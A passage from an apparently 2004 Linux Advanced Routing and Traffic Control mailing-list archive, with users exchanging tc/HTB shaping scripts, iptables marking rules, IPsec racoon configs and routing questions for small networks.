	tc qdisc add dev $IF parent 1:20 handle 20: sfq perturb 10
	tc qdisc add dev $IF parent 1:30 handle 30: sfq perturb 10

	# TOS Minimum Delay (ssh, NOT scp) in 1:10:
	tc filter add dev $IF parent 1: protocol ip prio 10 u32 \
		match ip tos 0x10 0xff \
		flowid 1:10

	# ICMP (ip protocol 1) in the interactive class 1:10 so we=20
	# can do measurements & impress our friends:
	tc filter add dev $IF parent 1: protocol ip prio 10 u32 \
		match ip protocol 1 0xff \
		flowid 1:10

	# To speed up downloads while an upload is going on, put ACK packets in
	# the interactive class:

	tc filter add dev $IF parent 1: protocol ip pref 1 u32 \
		match ip protocol 6 0xff \
		match u8 0x05 0x0f at 0 \
		match u16 0x0000 0xffc0 at 2 \
		match u8 0x10 0xff at 33 \
		flowid 1:10


	#  limit BTTorent to flow :30
	# want to match all packets that have a source of 6880-6888
	# as I can only match/rate limit out going
	tc filter add dev $IF parent 1: protocol ip prio 10 u32 \
		match ip protocol 6 0xff \
		match ip sport 6880 0xfff0 \
		flowid 1:30

#		match u16 0x1ae0 0xfff0 at 20 \

# Match firewall marks
	tc filter add dev $IF parent 1: protocol ip pref 5 handle 4 fw flowid 1:30

#	# For pings !
#	tc filter add dev eth0 parent 1: protocol ip prio 100 u32 match ip protoc=
ol 1 0xFF flowid 1:10

	# rest is 'non-interactive' ie 'bulk' and ends up in 1:20

}

tc_start(){
	tc_start2
}

tc_stop(){
	$TC qdisc del dev $IF root
}

tc_show(){
	$TC -s -d qdisc show dev $IF
	$TC -s -d class show dev $IF
	$TC -s -d filter show dev $IF
}

case "$1" in
	start)
		tc_start
		;;
	stop)
		tc_stop
		;;
	restart)
		tc_stop
		tc_start
		;;
	show)
		tc_show
		;;
	*)
		tc_show
		#exit 1
		;;
esac

exit 0


Thanks

On Thu, Oct 21, 2004 at 09:18:29PM +0200, Stef Coene wrote:
> On Thursday 21 October 2004 11:59, Alexander Samad wrote:
> > class htb 1:30 parent 1:1 leaf 30: prio 3 quantum 8 rate 25Kbit ceil
> > 51Kbit burst 63b/8 mpu 0b overhead 0b cburst 47b/8 mpu 0b overhead 0b
> > level 0
> >  Sent 495316458 bytes 541852 pkts (dropped 9303, overlimits 0 requeues
> > 0)
> >
> > >>> THIS is the line I have problems understanding
> > >>> I read it as 6190bit/sec which seems to be way lower than the 25Kbit
> > >>> set for the rate and much lower than the ceil
> > >>> so why do I have a backlog
> >
> >  rate 6190bit 7pps backlog 46p
> >  lended: 220159 borrowed: 321647 giants: 0
> >  tokens: -493609 ctokens: -242500
> >
> >
> > Having said all that it does seem to be limiting to 25Kbit, with burst
> > upto 51 !
> Can you post the executed tc commands?  Much easier for us to see what yo=
u=20
> did.
>=20
> Stef
>=20
> --=20
> stef.coene@docum.org
> ?"Using Linux as bandwidth manager"
> ? ? ?http://www.docum.org/
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>=20

--DNbkntcEGyiBe7B+
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBeBfGkZz88chpJ2MRAlGqAKDUt3tp2N8N1L/ZAGuD5P9buJIX0gCfVJXR
9Q7y0SqmzhxoEeUFifO1d9A=
=/iDZ
-----END PGP SIGNATURE-----

--DNbkntcEGyiBe7B+--

From hariett.jones@wp.pl  Thu Oct 21 19:05:11 2004
From: hariett.jones@wp.pl (Hariett Jones)
Date: Thu, 21 Oct 2004 20:05:11 +0200
Subject: [Fwd: [LARTC] up and down shaping based on IP]
In-Reply-To: <200410212126.20740.stef.coene@docum.org>
References: <4177615A.8050305@wp.pl> <200410212126.20740.stef.coene@docum.org>
Message-ID: <4177FA57.4070203@wp.pl>

do you mean that i should not use two realtek cards ?
can i use realtek and some other ? like AMDtek AN983b ?

(i understand that nic is ethernet card)

From Karan Misra <kidoman@gmail.com>  Thu Oct 21 21:50:23 2004
From: Karan Misra <kidoman@gmail.com> (Karan Misra)
Date: Fri, 22 Oct 2004 02:20:23 +0530
Subject: [LARTC] hi all
Message-ID: <7048a30204102113501c846a26@mail.gmail.com>

hi,

i hv been burning nights reading howtos and manuals for iproute2 and
iptables aiming at succesfully implementing a DMZ-NAT solution for our
college (institute.)

i am a student and never had past experience but hv used linux for
quite some time now.

so my first question is: do the functions of iptables and iproute2
overlap atall. i am preety confused regd this matter.

2nd: is it possible to hv multiple NIC in a single linux mach (FC1)
and assign them addresses like 203.193.144.98/27, 10.209.250.1/16,
10.200.250.1/8. i used a howto to create a rc.firewall and it only
used iptables and also enabled ip forwarding.
after the setup, i was not able to ping even physically connected
systems (tho i was able to get across to my router at 203.193.144.97).

please clarify....?

regds,
karan
-- 
Badda bing, badda bang, badda bong --- and voila!!

From gdamjan@mail.net.mk  Thu Oct 21 22:31:13 2004
From: gdamjan@mail.net.mk (Damjan)
Date: Thu, 21 Oct 2004 23:31:13 +0200
Subject: [LARTC] Packet ACTION
Message-ID: <20041021213113.GA17225@legolas.on.net.mk>

Can someone explain to me this new option in recent 2.6 kernels (I think
it appeared in 2.6.8) 
Device Drivers -> Networking support -> Networking options -> 
	QoS and/or fair queueing -> Packet ACTION

What does it do?

Also, the option warns against sing it unless you have a new iproute2.
Whats considered a new iproute2?
Slackware by default comes with iproute2-2.6.7_ss040608, is that new
enough?


-- 
damjan | дамјан
This is my jabber ID --> damjan@bagra.net.mk <-- not my mail address!!!

From mslinn@zamples.com  Fri Oct 22 00:13:36 2004
From: mslinn@zamples.com (Michael Slinn)
Date: Thu, 21 Oct 2004 16:13:36 -0700
Subject: [LARTC] Resetting traffic history
Message-ID: <417842A0.8030002@zamples.com>

This is a multi-part message in MIME format.
--------------040704020106050507070704
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I'm a tc newbie, and I think I am close to being able to use it to 
control one of the virtual web sites on our Gentoo Linux server.  The 
site has it's own IP address.  I have a bit of a problem in that the way 
I originally configured tc, the busy site grabbed all the bandwidth, 
leaving none for the other (and more important) sites.  Here is how I 
had configured it:

    tc qdisc replace dev $NIC root tbf rate $RATE_TOTAL latency 50ms
    burst $BURST

The total data rate was pegged within acceptable limits, but the problem 
is that data stopped flowing after tc was active after a few hours.  The 
busy site had a few peak periods and presumably used up all the traffic 
allotment.  Perhaps tc remembers the traffic between invocations?

I then tried a slightly more sophisticated setup:

    tc qdisc del dev $DEV root
    tc qdisc  add dev $NIC root handle 1: cbq avpkt 1000 bandwidth 1000mbit
    tc class  add dev $NIC parent 1: classid 1:1 cbq rate $RATE_PROBLEM
    allot 1500 prio 5 bounded # isolated
    tc filter add dev $NIC parent 1: protocol ip prio 16 u32 match ip
    dst $IP flowid 1:1

Unfortunately, I still don't get any traffic flowing while tc is active 
now.  Seems that I need to reset something.  Any suggestions?  I've shut 
down the problem site and disabled tc while I try to figure out a solution.

Thanks for your help!

Mike
mslinn at mslinn.com

--------------040704020106050507070704
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
I'm a tc newbie, and I think I am close to being able to use it to
control one of the virtual web sites on our Gentoo Linux server.&nbsp; The
site has it's own IP address.&nbsp; I have a bit of a problem in that the
way I originally configured tc, the busy site grabbed all the
bandwidth, leaving none for the other (and more important) sites.&nbsp; Here
is how I had configured it:<br>
<blockquote><tt>tc qdisc replace dev $NIC root tbf rate $RATE_TOTAL
latency 50ms burst $BURST</tt><br>
</blockquote>
The total data rate was pegged within acceptable limits, but the
problem is that data stopped flowing after tc was active after a few
hours.&nbsp; The busy site had a few peak periods and presumably used up all
the traffic allotment.&nbsp; Perhaps tc remembers the traffic between
invocations?<br>
<br>
I then tried a slightly more sophisticated setup:<br>
<blockquote><tt>tc qdisc del dev $DEV root</tt><br>
  <tt>tc qdisc&nbsp; add dev $NIC root handle 1: cbq avpkt 1000 bandwidth
1000mbit</tt><br>
  <tt>tc class&nbsp; add dev $NIC parent 1: classid 1:1 cbq rate
$RATE_PROBLEM allot 1500 prio 5 bounded # isolated</tt><br>
  <tt>tc filter add dev $NIC parent 1: protocol ip prio 16 u32 match ip
dst $IP flowid 1:1</tt><br>
</blockquote>
Unfortunately, I still don't get any traffic flowing while tc is active
now.&nbsp; Seems that I need to reset something.&nbsp; Any suggestions?&nbsp; I've
shut down the problem site and disabled tc while I try to figure out a
solution.<br>
<br>
Thanks for your help!<br>
<br>
Mike<br>
mslinn at mslinn.com<br>
</body>
</html>

--------------040704020106050507070704--


From vickyr@socal.rr.com  Fri Oct 22 01:39:42 2004
From: vickyr@socal.rr.com (Vicky)
Date: Thu, 21 Oct 2004 17:39:42 -0700
Subject: [LARTC] frontend
Message-ID: <417856CE.6020808@socal.rr.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

hi there,

cli is good but is there a front (gui) for managing and deploying
policies for tc?


regards,
/vicky
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBeFbOpbZvCIJx1bcRAunEAKDm+zdPqnAXEEwDEs3Oy4zhDfYJIgCg5Ips
/Gwz/NwxlOBtvVpcRvMAkqs=
=unn0
-----END PGP SIGNATURE-----

From zach.bagnall@bulletinwireless.com  Fri Oct 22 03:51:55 2004
From: zach.bagnall@bulletinwireless.com (Zach Bagnall)
Date: Fri, 22 Oct 2004 15:51:55 +1300
Subject: [LARTC] IPSec tunnel mode with IKE daemon
Message-ID: <417875CB.9000603@bulletinwireless.com>

This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enig0D3FEB0A2CA6F36DBCA483BC
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hi all.

The IPSec part of the LARTC howto is great, but I've hit a problem in 
7.3. IPSEC tunnels. The example given is for manual keying:

add 10.0.0.216 10.0.0.11 esp 34501
	-m tunnel
	-E 3des-cbc "123456789012123456789012";

How does one setup "tunnel mode" using racoon?



Trying to setup an ipsec tunnel between two subnets: 10.10.42.0/24 and 
10.1.1.0/24 using a cisco router "ned" and a linux box "phaedrus".

ned has external IP 192.168.1.250
phaedrus has external IP 192.168.1.42

10.10.42.0/24[ned]192.168.1.250 <==> 192.168.1.42[phaedrus]10.1.1.0/24


setkey on phaedrus:

flush;
spdflush;

spdadd 10.10.42.0/24 10.1.1.0/24 any -P in ipsec
         esp/tunnel/192.168.1.250-192.168.1.42/require
         ah/tunnel/192.168.1.250-192.168.1.42/require;

spdadd 10.1.1.0/24 10.10.42.0/24 any -P out ipsec
         esp/tunnel/192.168.1.42-192.168.1.250/require
         ah/tunnel/192.168.1.42-192.168.1.250/require;

racoon.conf on phaedrus:

path include "/etc/racoon";
path pre_shared_key "/etc/racoon/psk.txt";
path certificate "/etc/racoon/certs";

remote 192.168.1.250
{
         exchange_mode aggressive,main;
         doi ipsec_doi;
         situation identity_only;

         my_identifier address;

         lifetime time 2 min;   # sec,min,hour
         initial_contact on;
         proposal_check obey;    # obey, strict or claim

         proposal {
                 encryption_algorithm 3des;
                 hash_algorithm sha1;
                 authentication_method pre_shared_key;
                 dh_group 2;
         }
}

sainfo anonymous
{
         pfs_group 2;
         lifetime time 2 min;
         encryption_algorithm 3des;
         authentication_algorithm hmac_sha1;
         compression_algorithm deflate;
}


relevant ios config on ned:

hostname ned
!
crypto isakmp policy 10
  encryption 3des
  hash sha
  authentication pre-share
  group 2
!
crypto isakmp key 123456asdf address 192.168.1.42 no-xauth
!
crypto ipsec transform-set phaedrus_transform ah-sha-hmac esp-3des 
esp-sha-hmac
  mode tunnel
!
crypto map vpnmap 10 ipsec-isakmp
  set peer 192.168.1.42
  set transform-set phaedrus_transform
  match address 110
!
access-list 110 permit ip 10.10.42.0 0.0.0.255 10.1.1.0 0.0.0.255
!
interface ethernet 1
  ip address 192.168.1.250 255.255.255.0
  crypto map vpnmap
!

When I try to ping between the two subnets, from either direction, the 
packets go out via the routers' respective default routes instead of via 
the VPN.

Zach.

--------------enig0D3FEB0A2CA6F36DBCA483BC
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="signature.asc"

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBeHXL4jDFYT+aqaIRAmf8AKDr5rrmmgAx3OWFsEB+jTVADa6YMwCg6sBz
k5ZWBVcIX+9IdL7UGd1kFOI=
=LgOJ
-----END PGP SIGNATURE-----

--------------enig0D3FEB0A2CA6F36DBCA483BC--

From Karan Misra <kidoman@gmail.com>  Fri Oct 22 06:30:24 2004
From: Karan Misra <kidoman@gmail.com> (Karan Misra)
Date: Fri, 22 Oct 2004 11:00:24 +0530
Subject: Fwd: [LARTC] hi all
In-Reply-To: <7048a3020410212225c94f3ba@mail.gmail.com>
References: <7048a30204102113501c846a26@mail.gmail.com>
 <1098413331.3300.617.camel@e500>
 <7048a3020410212225c94f3ba@mail.gmail.com>
Message-ID: <7048a302041021223012a6abf3@mail.gmail.com>

---------- Forwarded message ----------
From: Karan Misra <kidoman@gmail.com>
Date: Fri, 22 Oct 2004 10:55:31 +0530
Subject: Re: [LARTC] hi all
To: Craig Steadman <spinout@yakbox.shacknet.nu>


hi man,

thanks for the responce. my head is totally screwed up regd the
concepts of subnetting. i mean:

i want my internal lan to be the 10.xx.yy.zz/8 network. so for the lan
my firewall is the default gateway right. i mean, do i place the IP
address i assign to the NIC on the firewall for the internal lan as
the default gateway for the rest of the computers.

i plan to give different different departments different ranges like
10.101.yy.zz for the computer science dept. how do i do that....? now
we only hv a single CISCO 1720 router and a heirarchial Catalyst 2950
network campus wide. the firewall (gateway) system will be three-homed
with NIC for connecting to the: router, DMZ subnet and the internal
lan.

also 1 more confusion: suppose i want to use 10.209.yy.zz for the DMZ
network and 10.xx.yy.zz for the internal lan, is it possible???? isnt
there a overlap.

i used some sample scripts for firewalling from frozentux but i
distinctly remember that now "ip route" commands were used anywhere. i
need to specify particular routes on the firewall (gateway) system,
right??

please help this marred "hoping-to-be" sys-admin.

regds,
karan




On Fri, 22 Oct 2004 10:48:54 +0800, Craig Steadman
<spinout@yakbox.shacknet.nu> wrote:
>
>
> Hi Karan
> I've put the scripts I use for firewalling on sourceforge
> http://bastionx.sourceforge.net
> theres plenty of framework to help you.
>
> The firewalling internals called netfilter are controlled
> with iptables command. The routing and interface management
> is controlled with the iproute2 suite of commands.
> eg ip
>
> Multiple interfaces are not a problem you just have to make
> sure the appropriate rules are in place to control the packet
> flow.
>
> Cheers
>   Craig
>
> On Fri, 2004-10-22 at 04:50, Karan Misra wrote:
> > hi,
> >
> > i hv been burning nights reading howtos and manuals for iproute2 and
> > iptables aiming at succesfully implementing a DMZ-NAT solution for our
> > college (institute.)
> >
> > i am a student and never had past experience but hv used linux for
> > quite some time now.
> >
> > so my first question is: do the functions of iptables and iproute2
> > overlap atall. i am preety confused regd this matter.
> >
> > 2nd: is it possible to hv multiple NIC in a single linux mach (FC1)
> > and assign them addresses like 203.193.144.98/27, 10.209.250.1/16,
> > 10.200.250.1/8. i used a howto to create a rc.firewall and it only
> > used iptables and also enabled ip forwarding.
> > after the setup, i was not able to ping even physically connected
> > systems (tho i was able to get across to my router at 203.193.144.97).
> >
> > please clarify....?
> >
> > regds,
> > karan
>
>

--
Badda bing, badda bang, badda bong --- and voila!!


-- 
Badda bing, badda bang, badda bong --- and voila!!

From nix4me@cfl.rr.com  Sat Oct 23 02:10:12 2004
From: nix4me@cfl.rr.com (nix4me@cfl.rr.com)
Date: Fri, 22 Oct 2004 21:10:12 -0400
Subject: [LARTC] pyshaper
Message-ID: <adad90ada9b7.ada9b7adad90@tampabay.rr.com>

Has anyone used a program called 'pyshaper'?
 
It looks interesting and I am thinking of trying it.
 
Just wanted to see if anyone had success with this traffic shaping utility.
 
Mark


From x11@h2o.sky.lt  Sat Oct 23 12:02:19 2004
From: x11@h2o.sky.lt (=?UTF-8?B?QXJ0xatyYXMgxaBsYWp1cw==?=)
Date: Sat, 23 Oct 2004 14:02:19 +0300
Subject: [LARTC] IP accounting on Linux 2.6 - what app to use?
Message-ID: <417A3A3B.9020200@h2o.sky.lt>

Hi,

What do you use for IP traffic accounting on Linux 2.6? I was looking to 
ipac-ng/pmacct, but what do you use?

From lopsch@lopsch.com  Sat Oct 23 16:10:13 2004
From: lopsch@lopsch.com (Lopsch)
Date: Sat, 23 Oct 2004 17:10:13 +0200
Subject: [LARTC] IP accounting on Linux 2.6 - what app to use?
In-Reply-To: <417A3A3B.9020200@h2o.sky.lt>
References: <417A3A3B.9020200@h2o.sky.lt>
Message-ID: <417A7455.8020605@lopsch.com>

> Hi,
> 
> What do you use for IP traffic accounting on Linux 2.6? I was looking to 
> ipac-ng/pmacct, but what do you use?

I´m using ipac-ng and I like it.


From marco@noope.de  Sat Oct 23 18:21:16 2004
From: marco@noope.de (Marco)
Date: Sat, 23 Oct 2004 19:21:16 +0200
Subject: [LARTC] iptables and layer7
Message-ID: <200410231721.i9NHLI4L028504@post.webmailer.de>

Hello!

I want to mark all outgoing traffic depending on its service.
Example:

eth0 =3D 192.168.0.1 (local interface)
ppp0 =3D 80.10.10.10 (internet 1)
ppp1 =3D 80.10.10.11 (internet 2)

http traffic over internet 1 (ppp0) ssh traffic to interface 2 (ppp1).

I tried the following (routing and rules are set):
iptables -A PREROUTING -t mangle -s 192.168.0.0/24 -p tcp --dport 80 -j =
MARK
--set-mark 1 iptables -A PREROUTING -t mangle -s 192.168.0.0/24 -p tcp
--dport 22 -j MARK --set-mark 2

This works fine, but only for standard ports. Now I would like to use
layer7:

iptables -t mangle -A PREROUTING -s 192.168.0.0/24 -m layer7 --l7proto =
http
-j MARK --set-mark 1 iptables -t mangle -A PREROUTING -s 192.168.0.0/24 =
-m
layer7 --l7proto ftp -j MARK --set-mark 2

Do not work. An iptables -t mange -L -n -v does not show traffic on the =
MARK
rules.

But if I do this without the source rule:

iptables -t mangle -A PREROUTING -m layer7 --l7proto http -j MARK =
--set-mark
1

The traffic is marked. Sure, I can not open a website because the =
incoming
traffic is also marked and will go out to ppp0, but the layer7 works.


Now my question:

If I would like to use layer7, is there a way to use a source rule too?
Is there an other way to mark with layer7 only the http traffic with =
source
net 192.168.0.0/24?


Kernel 2.4.27 patched with kernel-2.4-layer7-0.9.1.patch iptables 1.2.11
patched with iptables-layer7-0.9.1.patch




Thanks,
=A0
Marco



From michael@insulin-pumpers.org  Sun Oct 24 00:29:08 2004
From: michael@insulin-pumpers.org (Michael)
Date: Sat, 23 Oct 2004 15:29:08 -0800
Subject: [LARTC] error making htb example
Message-ID: <417A78C4.32256.11EE351@localhost>

Newbie here... 
tcng version 10b

I'm just learning about htb and using tcng. I am trying to make the 
example in 
Martin A. Brown's Traffic Control with tcng and HTB HOWTO v0.5
example 2

/*
 * Simply commented example of a tcng traffic control file.
 *
 *   Martin A. Brown <mabrown@securepipe.com>
 *
 * Example:  Using class selection path.
 *
 * (If you are reading the processed output in HTML, the callouts are
 *  clickable links to the description text.)
 *
 */

#include "fields.tc"
#include "ports.tc"

#define INTERFACE  eth0

dev INTERFACE {
    egress {

        /* In class selection path, the filters come first!  DSmark */

        class ( <$ssh> )    if tcp_sport ==  22 && ip_tos_delay == 1 ;
        class ( <$audio> )  if tcp_sport == 554 || tcp_dport == 7070 ;
        class ( <$bulk> ) \
            if tcp_sport == PORT_SSH || tcp_dport == PORT_HTTP ;
        class ( <$other> )  if 1 ;

        /* section in which we configure the qdiscs and classes */

        htb () {
            class ( rate 600kbps, ceil 600kbps ) {
                $ssh   = class ( rate  64kbps, ceil 128kbps ) { sfq; } ;
                $audio = class ( rate 128kbps, ceil 128kbps ) { sfq; } ;
                $bulk  = class ( rate 256kbps, ceil 512kbps ) { sfq; } ;
                $other = class ( rate 128kbps, ceil 384kbps ) { sfq; } ;
            }
        }
    }
}

The results indicate an error which does not mean much to me. Could 
someone explain what I might have done wrong.

# ================================ Device eth0 
================================

tc qdisc add dev eth0 handle 1:0 root dsmark indices 8 default_index 0
tc qdisc add dev eth0 handle 2:0 parent 1:0 htb
tc class add dev eth0 parent 2:0 classid 2:1 htb rate 75000bps ceil 
75000bps
tc class add dev eth0 parent 2:1 classid 2:2 htb rate 8000bps ceil 
16000bps
tc qdisc add dev eth0 handle 3:0 parent 2:2 sfq
tc class add dev eth0 parent 2:1 classid 2:3 htb rate 16000bps ceil 
16000bps
tc qdisc add dev eth0 handle 4:0 parent 2:3 sfq
tc class add dev eth0 parent 2:1 classid 2:4 htb rate 32000bps ceil 
64000bps
tc qdisc add dev eth0 handle 5:0 parent 2:4 sfq
tc class add dev eth0 parent 2:1 classid 2:5 htb rate 16000bps ceil 
48000bps
tc qdisc add dev eth0 handle 6:0 parent 2:5 sfq
tc filter add dev eth0 parent 2:0 protocol all prio 1 tcindex mask 0x7 
shift 0
tc filter add dev eth0 parent 2:0 protocol all prio 1 handle 4 tcindex 
classid 2:5
tc filter add dev eth0 parent 2:0 protocol all prio 1 handle 3 tcindex 
classid 2:4
tc filter add dev eth0 parent 2:0 protocol all prio 1 handle 2 tcindex 
classid 2:3
tc filter add dev eth0 parent 2:0 protocol all prio 1 handle 1 tcindex 
classid 2:2

can't dump subexpression (if_u32.c, unsupported offset sequence - please 
try to reorder matches)
[&&]--[offset]--[==]--[&]--[access]-- (none)
 |     |         |     |    +-------- 0
 |     |         |     |    `-------- 16
 |     |         |     `--- 65535
 |     |         `---- 22
 |     `--------[<<]--[&]--[access]-- (none)
 |               |     |    +-------- 0
 |               |     |    `-------- 8
 |               |     `--- 15
 |               `---- 2
 `----[&&]--[==]--[&]--[access]-- (none)
       |     |     |    +-------- 1
       |     |     |    `-------- 8
       |     |     `--- 16
       |     `---- 16
       `---- <class 1:1>

Thanks,
Michael

From johan.lindqvist@apspektakel.com  Sun Oct 24 19:48:43 2004
From: johan.lindqvist@apspektakel.com (Johan Lindqvist)
Date: Sun, 24 Oct 2004 20:48:43 +0200
Subject: [LARTC] exclude internal network from wondershaper
Message-ID: <417BF90B.5020709@apspektakel.com>

I'm having a network inside of a dsl modem and I'm using wondershaper on 
the computers to be able to surf while bulk downloading. The problem is 
that also the internal traffic is shaped, which means the internal 
network is at 200kb/s, instead of 100Mb/s. Is there a way to exclude the 
internal adresses from the wondershaper rules, or is there any other 
good way to solve this?

/Johan


From Andreas.Klauer@metamorpher.de  Sun Oct 24 20:15:49 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Sun, 24 Oct 2004 21:15:49 +0200
Subject: [LARTC] exclude internal network from wondershaper
In-Reply-To: <417BF90B.5020709@apspektakel.com>
References: <417BF90B.5020709@apspektakel.com>
Message-ID: <200410242115.49910.Andreas.Klauer@metamorpher.de>

Am Sunday 24 October 2004 20:48 schrieb Johan Lindqvist:
> Is there a way to exclude the internal adresses from the wondershaper
> rules, or is there any other good way to solve this?

The basic idea is to have a class structure like this:

1:1 HTB 100mbit (LAN device class)
|
\--- 1:10 Whatever kbit (Internet class)
|    |
|    \--- ... whatever classes you want for your internet traffic go here
|
\--- 1:20 (100mbit-Whatever kbit) (LAN traffic class)

I don't use wondershaper, but I modified the script once to do this.
No guarantee that it will work at all, though:
http://www.metamorpher.de/files/wshaper-over-lan.htb

HTH
Andreas

From javier@szysz.com  Sun Oct 24 20:44:24 2004
From: javier@szysz.com (Javier Szyszlican)
Date: Sun, 24 Oct 2004 16:44:24 -0300
Subject: [LARTC] IPIP Tunnel Packets not shaped/policed
Message-ID: <417C0618.2090601@szysz.com>

Hi,

I've a gateway host (cali), connected to the Internet via ADSL and a PPTP tunnel 
(ppp0). I also have a IPIP tunnel to another host over the Internet (mytun), 
nothing fancy.

This is working perfectly.

But I want to give more priority to the IPIP packets coming OUT of the PPP (PPTP 
connection) interface.  And I can't get this to work.

Class 2:21 is the one with high priority.

FILTERS:

filter parent 2: protocol ip pref 1 fw
filter parent 2: protocol ip pref 1 fw handle 0x1 classid 2:21


CLASS Stats:

class htb 2:21 parent 2:1 prio 1 rate 96Kbit ceil 128Kbit burst 1721b cburst 1762b
  Sent 0 bytes 0 pkts (dropped 0, overlimits 0)
  lended: 0 borrowed: 0 giants: 0
  tokens: 218962 ctokens: 168131


As you can see no packets have gone out of this class.

IPTABLES RULES (mangle table):

Chain OUTPUT (policy ACCEPT 794K packets, 111M bytes)
  pkts bytes target     prot opt in     out     source               destination
  4984  377K mark.4     4    --  *      *       0.0.0.0/0            0.0.0.0/0

Chain mark.4 (1 references)
  pkts bytes target     prot opt in     out     source               destination
  4984  377K MARK       all  --  *      *       0.0.0.0/0            0.0.0.0/0 
          MARK set 0x1

But you can see that iptables is marking the packets correctly (the counters 
were reset at the same time).

So, I'm guessing that the IPIP packets generated by the kernel, are not going 
into the packet scheduling routines.

If someone can point me to the place where this should be occurring, it will be 
great.

Thanks.
Javier
-- 
-=-=-=-=-=-=-=-=-
Javier Szyszlican
javier@^^^^^.com


From ngohoanggiang1981dh@yahoo.com  Mon Oct 25 03:05:38 2004
From: ngohoanggiang1981dh@yahoo.com (ngo giang)
Date: Sun, 24 Oct 2004 19:05:38 -0700 (PDT)
Subject: [LARTC] Questions about qdisc statistics
Message-ID: <20041025020538.18699.qmail@web51606.mail.yahoo.com>

--0-464504415-1098669938=:17834
Content-Type: text/plain; charset=us-ascii


Hello,

I am a newbie . I use a PC which have Windows OS . I want to monitor bandwidth , bytes, packets, packet dropped etc at several linux routers .

I want to ask you some questions : 

Can I use round robin database and mrtg tool to generate html files at linux routers and call them from windows PC ?

If it is impossible , can I use snmp to retrieve data from linux router at windows PC (snmp server at linux and snmp client at windows , if i don't misunderstand ) and use round robin database and mrtg tool to generate html pages at windows ? 

Thanks ,

Ngo Hoang Giang

		
---------------------------------
Do you Yahoo!?
vote.yahoo.com - Register online to vote today!
--0-464504415-1098669938=:17834
Content-Type: text/html; charset=us-ascii

<P><FONT face=arial>Hello,</FONT></P>
<P><FONT face=arial>I am a newbie . I use a PC which have Windows OS . I want to monitor bandwidth , bytes, packets, packet dropped etc at several linux routers .</FONT></P>
<P><FONT face=arial>I want to ask you some questions : </FONT></P>
<P><FONT face=arial>Can I use round robin database and mrtg tool to generate html files at linux routers and call them from windows PC ?</FONT></P>
<P><FONT face=arial>If it is impossible , can I <STRONG>use snmp to retrieve data from linux router at windows PC</STRONG> (snmp server at linux and snmp client at windows , if i don't misunderstand ) and use round robin database and mrtg tool to generate html pages at windows ? </FONT></P>
<P><FONT face=arial>Thanks ,</FONT></P>
<P><FONT face=arial>Ngo Hoang Giang</FONT></P><p>
		<hr size=1>Do you Yahoo!?<br><a
href="http://vote.yahoo.com">vote.yahoo.com</a> - Register online to vote today!
--0-464504415-1098669938=:17834--

From Rinto Exandy <mysuse@gmail.com>  Mon Oct 25 06:46:02 2004
From: Rinto Exandy <mysuse@gmail.com> (Rinto Exandy)
Date: Mon, 25 Oct 2004 12:46:02 +0700
Subject: [LARTC] Limit traffic that use to download a file
Message-ID: <e892b9d104102422467b52ded4@mail.gmail.com>

Dear All,

I want to limit traffic that use by my client to download files
directly from browser, I have already limit the traffic for the same
purpose to ftp connection. But I don't want to limit traffic that using for
browsing the web. Can I do this with IMQ/HTB or any other method to
make this happen.

Thank You.
Sorry my English is bad.

RInto Exandi

From stillnick2@terra.com.br  Mon Oct 25 07:05:40 2004
From: stillnick2@terra.com.br (Cristiano Soares)
Date: Mon, 25 Oct 2004 04:05:40 -0200
Subject: [LARTC] limit number of TCP connections.
Message-ID: <000f01c4ba58$a7df3c90$5c9cfea9@stillnicks>

This is a multi-part message in MIME format.

------=_NextPart_000_000C_01C4BA47.E3C74BF0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi all. I have a simple question. Is that a way to limit the number os =
TCP or UDP connection of a single HOST in my network?
For exemple:
    I have a host with IP 192.168.1.202 and he is using edonkey, Kazaa, =
and Bittorrent at the same time, and he also is infected by a virus that =
opens more than 500 TCP ports at the same time. So, i want to limit that =
host to be able to open no more then 30 TCP connections at once, so he =
wouldnt hurt the other users.

Thanks in advance,


Cristiano Soares
------=_NextPart_000_000C_01C4BA47.E3C74BF0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1458" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi all. I have a simple question. Is =
that a way to=20
limit the number os TCP or UDP connection of a single HOST in my=20
network?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>For exemple:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; I have a host with =
IP=20
192.168.1.202 and he is using edonkey, Kazaa, and Bittorrent at the same =
time,=20
and he also is infected by a virus that opens more than 500 TCP ports at =
the=20
